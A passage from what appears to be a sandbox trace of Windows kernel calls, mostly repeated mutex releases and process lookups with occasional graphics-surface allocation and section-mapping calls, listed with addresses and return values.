(FastMutex=0xffffe000001652b0) [0147.986] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.986] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.986] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.987] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.987] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.992] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.992] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.992] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.992] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.992] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.993] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.993] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.993] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.993] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.993] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.994] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.994] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.994] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.994] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.994] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.994] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.995] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.995] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.995] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.995] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.996] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.996] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.997] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.997] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.000] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.000] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.000] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.000] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.000] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.000] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.001] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.001] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.001] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.001] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.001] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.001] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.001] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.002] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.002] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.002] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.040] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.040] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.041] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.041] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.041] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.042] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.042] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.056] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.056] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.057] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.057] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.116] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.116] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.196] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.196] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.223] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.224] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.224] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.224] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.224] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.225] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.225] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.225] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.303] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.304] EngAllocMem () returned 0xfffff90142521030 [0148.304] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.304] MmMapViewOfSection (in: SectionObject=0xffffc00001a21060, Process=0xffffe000011e9700, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211daed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xa8e0a60000, SectionOffset=0xffffd000211daed0, ViewSize=0xfffff90142521370) returned 0x0 [0148.304] EngCreateBitmap () returned 0xffffffff980506dd [0148.304] EngAssociateSurface () returned 0x1 [0148.304] EngLockSurface () returned 0xfffff901424d74f8 [0148.304] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000104e190 [0148.304] KeInitializeEvent (in: Event=0xffffe0000104e1a8, Type=0x1, State=0 | out: Event=0xffffe0000104e1a8) [0148.304] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.339] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.339] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.340] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.340] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.340] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.340] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.340] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.341] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.341] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.342] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.342] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.342] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.342] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.342] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.342] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.490] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.491] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.552] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.552] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.553] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.553] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.620] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.620] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.621] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.621] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.676] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.676] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.676] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.676] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0148.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.736] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.760] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.760] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.761] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.761] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.776] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.776] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.776] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.776] EngAllocMem () returned 0xfffff901409e3ca0 [0148.776] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.776] MmMapViewOfSection (in: SectionObject=0xffffc00001b04a40, Process=0xffffe000011e9700, BaseAddress=0xfffff901409e3fc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211daed0, ViewSize=0xfffff901409e3fe0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff901409e3fc8*=0xa8e0ab0000, SectionOffset=0xffffd000211daed0, ViewSize=0xfffff901409e3fe0) returned 0x0 [0148.776] EngCreateBitmap () returned 0x490506fe [0148.776] EngAssociateSurface () returned 0x1 [0148.776] EngLockSurface () returned 0xfffff901409c1028 [0148.776] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000011ff330 [0148.776] KeInitializeEvent (in: Event=0xffffe000011ff348, Type=0x1, State=0 | out: Event=0xffffe000011ff348) [0148.776] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.777] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.777] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.778] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.778] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.778] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.779] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.779] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.779] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.779] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.821] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.821] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.821] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.821] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.821] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.821] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.889] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.889] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.897] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.928] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.928] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.960] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.961] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0148.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.990] 